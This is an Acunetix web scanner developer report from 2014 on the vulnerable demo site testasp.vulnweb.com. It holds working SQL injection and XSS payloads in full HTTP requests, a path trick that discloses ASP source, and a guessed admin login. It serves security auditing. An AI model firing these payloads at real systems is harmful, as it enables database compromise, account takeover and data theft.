acunetix

WEB APPLICATION SECURITY

Acunetix Website Audit

31 October, 2014

Developer Report

Generated by Acunetix WVS Reporter (v9.0 Build 20140422)

Scan of http://testasp.vulnweb.com:80/

Scan details

Scan information	
Start time	31/10/2014 12:55:02
Finish time	31/10/2014 12:57:49
Scan time	2 minutes, 47 seconds
Profile	Default

Server information	
Responsive	True
Server banner	Microsoft-IIS/6.0
Server OS	Windows
Server technologies	ASP.NET

Threat level

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	**61**
High	17
Medium	12
Low	6
Informational	26

Knowledge base

List of file extensions

File extensions can provide information on what technologies are being used on this website.
List of file extensions detected:

- css => 1 file(s)
- asp => 8 file(s)
- txt => 1 file(s)
- html => 1 file(s)

List of files with inputs

These files have at least one input (GET or POST).

- /search.asp - 1 inputs
- /templatize.asp - 1 inputs
- /login.asp - 2 inputs
- /showforum.asp - 1 inputs
- /register.asp - 2 inputs
- /showthread.asp - 1 inputs
- /templates/login.asp - 1 inputs
- /templates/register.asp - 1 inputs

List of external hosts

These hosts were linked from this website but they were not scanned because they are not listed in the list of hosts allowed.(Settings->Scanners settings->Scanner->List of hosts allowed).

- www.acunetix.com

Alerts summary

Blind SQL Injection

Affects	Variation
/login.asp	2
/showforum.asp	1
/showthread.asp	1

Cross site scripting (verified)

Affects	Variation
/search.asp	1

Microsoft IIS tilde directory enumeration

Affects	Variation
/	1

Script source code disclosure

Affects	Variation
/templatize.asp	1

SQL injection (verified)

Affects	Variation
/login.asp	2
/register.asp	4
/search.asp	1
/showforum.asp	1
/showthread.asp	1

Weak password

Affects	Variation
/login.asp	1

Application error message

Affects	Variation
/login.asp	2
/register.asp	2
/search.asp	1
/showforum.asp	1
/showthread.asp	1

HTML form without CSRF protection

Affects	Variation
/login.asp	1
/register.asp	1
/search.asp	1

User credentials are sent in clear text

Affects	Variation
/login.asp	1
/register.asp	1

Clickjacking: X-Frame-Options header missing

Affects	Variation
Web Server	1

Login page password-guessing attack

Affects	Variation
/login.asp	1
/register.asp	1

OPTIONS method is enabled

Affects	Variation
Web Server	1

Session Cookie without HttpOnly flag set

Affects	Variation
/	1

Session Cookie without Secure flag set

Affects	Variation
/	1

Broken links

Affects	Variation
/templates/login.asp (3ce8101217eca94cbcb43f854b61453c)	1
/templates/register.asp (3ce8101217eca94cbcb43f854b61453c)	1

GHDB: IIS 4.0 server

Affects	Variation
/templates/login.asp	1
/templates/login.asp (3ce8101217eca94cbcb43f854b61453c)	1
/templates/register.asp	1
/templates/register.asp (3ce8101217eca94cbcb43f854b61453c)	1

GHDB: IIS server

Affects	Variation
/templates/login.asp	1
/templates/login.asp (3ce8101217eca94cbcb43f854b61453c)	1
/templates/register.asp	1
/templates/register.asp (3ce8101217eca94cbcb43f854b61453c)	1

GHDB: Typical login page

Affects	Variation
/login.asp	1
/login.asp (08ba5c65850c46f4a43a7941b10720df)	1
/login.asp (446ae5fc92a14ee54cb5b0057775413e)	1
/login.asp (4a2bd4f3319ad019841cd21ad19faa03)	1
/login.asp (b0f123cb8b6b7f7ce196de1e7765c392)	1
/templates/login.asp	1
/templates/login.asp (3ce8101217eca94cbcb43f854b61453c)	1

Password type input with auto-complete enabled

Affects	Variation
/login.asp	1
/login.asp (08ba5c65850c46f4a43a7941b10720df)	1
/login.asp (446ae5fc92a14ee54cb5b0057775413e)	1
/login.asp (4a2bd4f3319ad019841cd21ad19faa03)	1
/login.asp (b0f123cb8b6b7f7ce196de1e7765c392)	1
/register.asp	1
/register.asp (08ba5c65850c46f4a43a7941b10720df)	1
/register.asp (446ae5fc92a14ee54cb5b0057775413e)	1
/register.asp (4a2bd4f3319ad019841cd21ad19faa03)	1

Alert details

Blind SQL Injection

Severity	**High**
Type	Validation
Reported by module	Scripting (Blind_Sql_Injection.script)

Description

This script is possibly vulnerable to SQL Injection attacks.

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

Recommendation

Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.

References

Acunetix SQL Injection Attack
OWASP PHP Top 5
SQL Injection Walkthrough
How to check for SQL injection vulnerabilities
VIDEO: SQL Injection tutorial
OWASP Injection Flaws

Affected items

/login.asp

Details

URL encoded POST input tfUName was set to -1' OR 3*2*1=6 AND 000947=000947 --

Tests performed:
- -1' OR 2+947-947-1=0+0+0+1 -- => TRUE
- -1' OR 3+947-947-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+947-947) -- => FALSE
- -1' OR 3*2>(0+5+947-947) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000947=000947 -- => TRUE
- -1' OR 000947=000947 AND ... (line truncated)

Request headers

```
POST /login.asp HTTP/1.1
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testasp.vulnweb.com:80/
```

```
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfUName=-1'%20OR%203*2*1%3d6%20AND%20000947%3d000947%20--%20&tfUPass=g00dPa%24%24w0rD
```

/login.asp

Details

URL encoded POST input tfUPass was set to -1' OR 3*2*1=6 AND 000668=000668 --

Tests performed:
- -1' OR 2+668-668-1=0+0+0+1 -- => TRUE
- -1' OR 3+668-668-1=0+0+0+1 -- => FALSE
- -1' OR 3*2<(0+5+668-668) -- => FALSE
- -1' OR 3*2>(0+5+668-668) -- => FALSE
- -1' OR 2+1-1-1=1 AND 000668=000668 -- => TRUE
- -1' OR 000668=000668 AND ... (line truncated)

Request headers

```
POST /login.asp HTTP/1.1
Content-Length: 77
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testasp.vulnweb.com:80/
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfUName=geyicyfq&tfUPass=-1'%20OR%203*2*1%3d6%20AND%20000668%3d000668%20--%20
```

/showforum.asp

Details

URL encoded GET input id was set to 1 AND 3*2*1=6 AND 735=735

Tests performed:
- 0+0+0+1 => TRUE
- 0+735*730+1 => FALSE
- 11-5-2-999 => FALSE
- 11-5-2-3 => TRUE
- 11-2*5+0+0+1-1 => TRUE
- 11-2*6+0+0+1-1 => FALSE
- 1 AND 2+1-1-1=1 AND 735=735 => TRUE
- 1 AND 3+1-1-1=1 AND 735=735 => FALSE[/ ... (line truncated)

Request headers

```
GET /showforum.asp?id=1%20AND%203*2*1%3d6%20AND%20735%3d735 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testasp.vulnweb.com:80/
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/showthread.asp

Details

URL encoded GET input id was set to 6 AND 3*2*1=6 AND 774=774

Tests performed:
- 0+0+0+6 => TRUE
- 0+774*769+6 => FALSE
- 16-5-2-999 => FALSE
- 16-5-2-3 => TRUE
- 16-2*5+0+0+1-1 => TRUE
- 16-2*6+0+0+1-1 => FALSE
- 6 AND 2+1-1-1=1 AND 774=774 => TRUE
- 6 AND 3+1-1-1=1 AND 774=774 => FALSE[/ ... (line truncated)

Request headers

```
GET /showthread.asp?id=6%20AND%203*2*1%3d6%20AND%20774%3d774 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testasp.vulnweb.com:80/
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Cross site scripting (verified)

Severity	**High**
Type	Validation
Reported by module	Scripting (XSS.script)

Description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

Recommendation

Your script should filter metacharacters from user input.

References

Acunetix Cross Site Scripting Attack
VIDEO: How Cross-Site Scripting (XSS) Works
The Cross Site Scripting Faq
OWASP Cross Site Scripting
XSS Annihilation
XSS Filter Evasion Cheat Sheet
Cross site scripting
OWASP PHP Top 5
How To: Prevent Cross-Site Scripting in ASP.NET

Affected items

/search.asp

Details

URL encoded GET input tfSearch was set to the'"()&%<ScRiPt >prompt(971985)</ScRiPt>

Request headers

```
GET /search.asp?tfSearch=the'%22()%26%25<ScRiPt%20>prompt(971985)</ScRiPt> HTTP/1.1
Referer: http://testasp.vulnweb.com:80/
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Microsoft IIS tilde directory enumeration

Severity	**High**
Type	Configuration
Reported by module	Scripting (IIS_Tilde_Dir_Enumeration.script)

Description

It is possible to detect short names of files and directories which have an 8.3 file naming scheme equivalent in Windows by using some vectors in several versions of Microsoft IIS. For instance, it is possible to detect all short-names of ".aspx" files as they have 4 letters in their extensions. This can be a major issue especially for the .Net websites which are vulnerable to direct URL access as an attacker can find important files and folders that they are not normally visible.

Impact

Possible sensitive information disclosure.

Recommendation

Consult the "Prevention Technique(s)" section from Soroush Dalili's paper on this subject. A link to this paper is listed in the Web references section below.

References

Microsoft IIS Shortname Scanner PoC
Windows Short (8.3) Filenames - A Security Nightmare?

Affected items

/

Details

No details are available.

Request headers

```
GET //*~1*/a.aspx?aspxerrorpath=/ HTTP/1.1
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Script source code disclosure

Severity	**High**
Type	Validation
Reported by module	Scripting (Script_Source_Code_Disclosure.script)

Description

It is possible to read the source code of this script by using script filename as a parameter. It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function.

Impact

An attacker can gather sensitive information (database connection strings, application logic) by analysis the source code. This information can be used to launch further attacks.

Recommendation

Analiese the source code of this script and solve the problem.

References

Source Code Disclosure Can Be Exploited On Your Website

Affected items

/templatize.asp

Details

URL encoded GET input item was set to templatize.asp
Source disclosure pattern found: <%@LANGUAGE="VBSCRIPT" CODEPAGE="1252"%>

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/MainTemplate.dwt.asp" codeOutsideHTMLIsLocked="false" -->
<head>
<!-- InstanceBeginEditable name="doctitle" -->
<title>Untitled Document</title>
<!-- InstanceEndEditable -->
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->
<link href="styles.css" rel="stylesheet" type="text/css">
</head>
<body>
<table width="100%"  border="0" cellpadding="10" cellspacing="0">
  <tr bgcolor="#008F00">
    <td width="306px"><a href="http://www.acunetix.com/"><img src="Images/logo.gif" width="306" height="38"
border="0"></a></td>
    <td align="right" valign="middle" bgcolor="#008F00" class="disclaimer">TEST and Demonstration site for Acunetix
Web Vulnerability Scanner</td>
  </tr>
  <tr>
    <td colspan="2"><div class="menubar"><a href="Templatize.asp?item=html/about.html" class="menu">about</a> - <a
href="Default.asp" class="menu">forums</a> - <a href="Search.asp" class="menu">search</a>
    <%
  if Request.QueryString("RetURL")="" then
   curURL = Request.ServerVariables("URL") & "?" & Request.ServerVariables("QUERY_STRING")
  else
   curURL = Request.QueryString("RetURL")
  end if

  if Session.Contents("uname") <> "" then
   Response.Write(" - <a href=""./Logout.asp?RetURL=" & Server.URLEncode(curURL) & """ class=""menu"">logout " &
Session.Contents("uname") & "</a>")
  else
   Response.Write(" - <a href=""./Login.asp?RetURL=" & Server.URLEncode(curURL) & """ class=""menu"">login</a> - <a
href=""./Register.asp?RetURL=" & Server.URLEncode(curURL) & """ class=""menu"">register</a>")
  end if
 %>
    </div></td>
  </tr>
  <tr>
    <td colspan="2"><!-- InstanceBeginEditable name="MainContentLeft" -->
  <%
   Dim oFileSys, oFile

   Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
   FName = Server.MapPath(".") & "\" & Request.QueryString("item")

   Set oFile = oFileSys.OpenTextFile (FName, 1, False, 0)

   If (IsObject(oFile)) Then
    Response.Write(oFile.ReadAll)
    oFile.Close
   End If
  %>
```

Request headers

```
GET /templatize.asp?item=templatize.asp HTTP/1.1
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
```

```
Accept: */*
```

SQL injection (verified)

Severity	**High**
Type	Validation
Reported by module	Scripting (Sql_Injection.script)

Description

This script is possibly vulnerable to SQL Injection attacks.

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

Recommendation

Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.

References

VIDEO: SQL Injection tutorial
OWASP Injection Flaws
How to check for SQL injection vulnerabilities
SQL Injection Walkthrough
OWASP PHP Top 5
Acunetix SQL Injection Attack

Affected items

/login.asp

Details

URL encoded POST input tfUName was set to '+(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(67)+CHAR(72)+CHAR(67)+CHAR(110)+CHAR(84)+CHAR(48)+CHAR(82)+CHAR(111)) FROM syscolumns)+'
Injected pattern found: 4CuCHCnT0Ro

Request headers

```
POST /login.asp HTTP/1.1
Content-Length: 208
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfUName='%2b(select%20convert(int%2cCHAR(52)%2bCHAR(67)%2bCHAR(117)%2bCHAR(67)%2bCHAR(7
```

```
2)%2bCHAR(67)%2bCHAR(110)%2bCHAR(84)%2bCHAR(48)%2bCHAR(82)%2bCHAR(111))%20FROM%20syscolu
mns)%2b'&tfUPass=g00dPa%24%24w0rD
```

/login.asp

Details

URL encoded POST input tfUPass was set to '+(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(104)+CHAR(107)+CHAR(56)+CHAR(111)+CHAR(84)+CHAR(97)+CHAR(56)+CHAR(111)) FROM syscolumns)+'
Injected pattern found: 4Cuhk8oTa8o

Request headers

```
POST /login.asp HTTP/1.1
Content-Length: 202
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfUName=ivkvbupq&tfUPass='%2b(select%20convert(int%2cCHAR(52)%2bCHAR(67)%2bCHAR(117)%2bC
HAR(104)%2bCHAR(107)%2bCHAR(56)%2bCHAR(111)%2bCHAR(84)%2bCHAR(97)%2bCHAR(56)%2bCHAR(111)
)%20FROM%20syscolumns)%2b'
```

/register.asp

Details

URL encoded POST input tfEmail was set to '+convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(99)+CHAR(102)+CHAR(77)+CHAR(119)+CHAR(102)+CHAR(117)+CHAR(101)+CHAR(68))+'
Injected pattern found: 4CucfMwfueD

Request headers

```
POST /register.asp HTTP/1.1
Content-Length: 214
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfEmail='%2bconvert(int%2cCHAR(52)%2bCHAR(67)%2bCHAR(117)%2bCHAR(99)%2bCHAR(102)%2bCHAR(
77)%2bCHAR(119)%2bCHAR(102)%2bCHAR(117)%2bCHAR(101)%2bCHAR(68))%2b'&tfRName=eicnjbyq&tfU
Name=eicnjbyq&tfUPass=g00dPa%24%24w0rD
```

/register.asp

Details

URL encoded POST input tfRName was set to '+convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(80)+CHAR(99)+CHAR(105)+CHAR(118)+CHAR(57)+CHAR(86)+CHAR(117)+CHAR(121))+'
Injected pattern found: 4CuPciv9Vuy

Request headers

```
POST /register.asp HTTP/1.1
Content-Length: 223
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

```
tfEmail=sample%40email.tst&tfRName='%2bconvert(int%2cCHAR(52)%2bCHAR(67)%2bCHAR(117)%2bCHAR(80)%2bCHAR(99)%2bCHAR(105)%2bCHAR(118)%2bCHAR(57)%2bCHAR(86)%2bCHAR(117)%2bCHAR(121))%2b'&tfUName=eicnjbyq&tfUPass=g00dPa%24%24w0rD
```

/register.asp

Details

URL encoded POST input tfUName was set to '+convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(103)+CHAR(49)+CHAR(110)+CHAR(83)+CHAR(50)+CHAR(115)+CHAR(118)+CHAR(56))+'
Injected pattern found: 4Cug1nS2sv8

Request headers

```
POST /register.asp HTTP/1.1
Content-Length: 223
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfEmail=sample%40email.tst&tfRName=eicnjbyq&tfUName='%2bconvert(int%2cCHAR(52)%2bCHAR(67)%2bCHAR(117)%2bCHAR(103)%2bCHAR(49)%2bCHAR(110)%2bCHAR(83)%2bCHAR(50)%2bCHAR(115)%2bCHAR(118)%2bCHAR(56))%2b'&tfUPass=g00dPa%24%24w0rD
```

/register.asp

Details

URL encoded POST input tfUPass was set to '+convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(83)+CHAR(70)+CHAR(107)+CHAR(97)+CHAR(66)+CHAR(117)+CHAR(52)+CHAR(89))+'
Injected pattern found: 4CuSFkaBu4Y

Request headers

```
POST /register.asp HTTP/1.1
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfEmail=sample%40email.tst&tfRName=eicnjbyq&tfUName=eicnjbyq&tfUPass='%2bconvert(int%2cCHAR(52)%2bCHAR(67)%2bCHAR(117)%2bCHAR(83)%2bCHAR(70)%2bCHAR(107)%2bCHAR(97)%2bCHAR(66)%2bCHAR(117)%2bCHAR(52)%2bCHAR(89))%2b'
```

/search.asp

Details

URL encoded GET input tfSearch was set to '+(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(101)+CHAR(115)+CHAR(89)+CHAR(110)+CHAR(117)+CHAR(70)+CHAR(100)+CHAR(106)) FROM syscolumns)+'
Injected pattern found: 4CuesYnuFdj

Request headers

```
GET
/search.asp?tfSearch='%2b(select%20convert(int%2cCHAR(52)%2bCHAR(67)%2bCHAR(117)%2bCHAR(101)%2bCHAR(115)%2bCHAR(89)%2bCHAR(110)%2bCHAR(117)%2bCHAR(70)%2bCHAR(100)%2bCHAR(106))%20FROM%20syscolumns)%2b' HTTP/1.1
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
```

```
Accept: */*
```

/showforum.asp

Details

URL encoded GET input id was set to (select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(121)+CHAR(50)+CHAR(121)+CHAR(113)+CHAR(109)+CHAR(66)+CHAR(77)+CHAR(52)) FROM syscolumns)
Injected pattern found: 4Cuy2yqmBM4

Request headers

```
GET
/showforum.asp?id=(select%20convert(int%2cCHAR(52)%2bCHAR(67)%2bCHAR(117)%2bCHAR(121)%2bCHAR(50)%2bCHAR(121)%2bCHAR(113)%2bCHAR(109)%2bCHAR(66)%2bCHAR(77)%2bCHAR(52))%20FROM%20syscolumns) HTTP/1.1
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/showthread.asp

Details

URL encoded GET input id was set to (select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(80)+CHAR(54)+CHAR(65)+CHAR(89)+CHAR(87)+CHAR(77)+CHAR(55)+CHAR(121)) FROM syscolumns)
Injected pattern found: 4CuP6AYWM7y

Request headers

```
GET
/showthread.asp?id=(select%20convert(int%2cCHAR(52)%2bCHAR(67)%2bCHAR(117)%2bCHAR(80)%2bCHAR(54)%2bCHAR(65)%2bCHAR(89)%2bCHAR(87)%2bCHAR(77)%2bCHAR(55)%2bCHAR(121))%20FROM%20syscolumns) HTTP/1.1
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Weak password

Severity	**High**
Type	Informational
Reported by module	Scripting (Html_Authentication_Audit.script)

Description

Manual confirmation is required for this alert.
This page is using a weak password. Acunetix WVS was able to guess the credentials required to access this page. A weak password is short, common, a system default, or something that could be rapidly guessed by executing a brute force attack using a subset of all possible passwords, such as words in the dictionary, proper names, words based on the user name or common variations on these themes.

Impact

An attacker may access the contents of the password-protected page.

Recommendation

Enforce a strong password policy. Don't permit weak passwords or passwords based on dictionary words.

References

Wikipedia - Password strength
Authentication Hacking Attacks

Affected items

/login.asp

Details

Username: admin, Password: none

Request headers

```
POST /login.asp HTTP/1.1
Content-Length: 26
Content-Type: application/x-www-form-urlencoded
Referer: http://testasp.vulnweb.com:80/
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfUName=admin&tfUPass=none
```

Application error message

Severity	**Medium**
Type	Validation
Reported by module	Scripting (Error_Message.script)

Description

This page contains an error/warning message that may disclose sensitive information. The message can also contain the location of the file that produced the unhandled exception.

This may be a false positive if the error message is found in documentation pages.

Impact

The error messages may disclose sensitive information. This information can be used to launch further attacks.

Recommendation

Review the source code for this script.

References

PHP Runtime Configuration

Affected items

/login.asp

Details

URL encoded POST input tfUName was set to 12345'"\'\");|]*{%0d%0a<%00>%bf%27'
Error message found: Internal Server Error

Request headers

```
POST /login.asp HTTP/1.1
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
Referer: http://testasp.vulnweb.com:80/
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfUName=12345'"\'\");|]*{%0d%0a<%00>%bf%27'&tfUPass=g00dPa%24%24w0rD
```

/login.asp

Details

URL encoded POST input tfUPass was set to 12345'"\'\");|]*{%0d%0a<%00>%bf%27'
Error message found: Internal Server Error

Request headers

```
POST /login.asp HTTP/1.1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Referer: http://testasp.vulnweb.com:80/
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfUName=aqgtpdbk&tfUPass=12345'"\'\");|]*{%0d%0a<%00>%bf%27'
```

/register.asp

Details

URL encoded POST input tfEmail was set to
Error message found: Internal Server Error

Request headers

```
POST /register.asp HTTP/1.1
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Referer: http://testasp.vulnweb.com:80/
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfEmail=&tfRName=kdikcajo&tfUName=kdikcajo&tfUPass=g00dPa%24%24w0rD
```

/register.asp

Details

URL encoded POST input tfUPass was set to a2NiUkdLNGUwb0pkdHVMSQ==
Error message found: Internal Server Error

Request headers

```
POST /register.asp HTTP/1.1
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
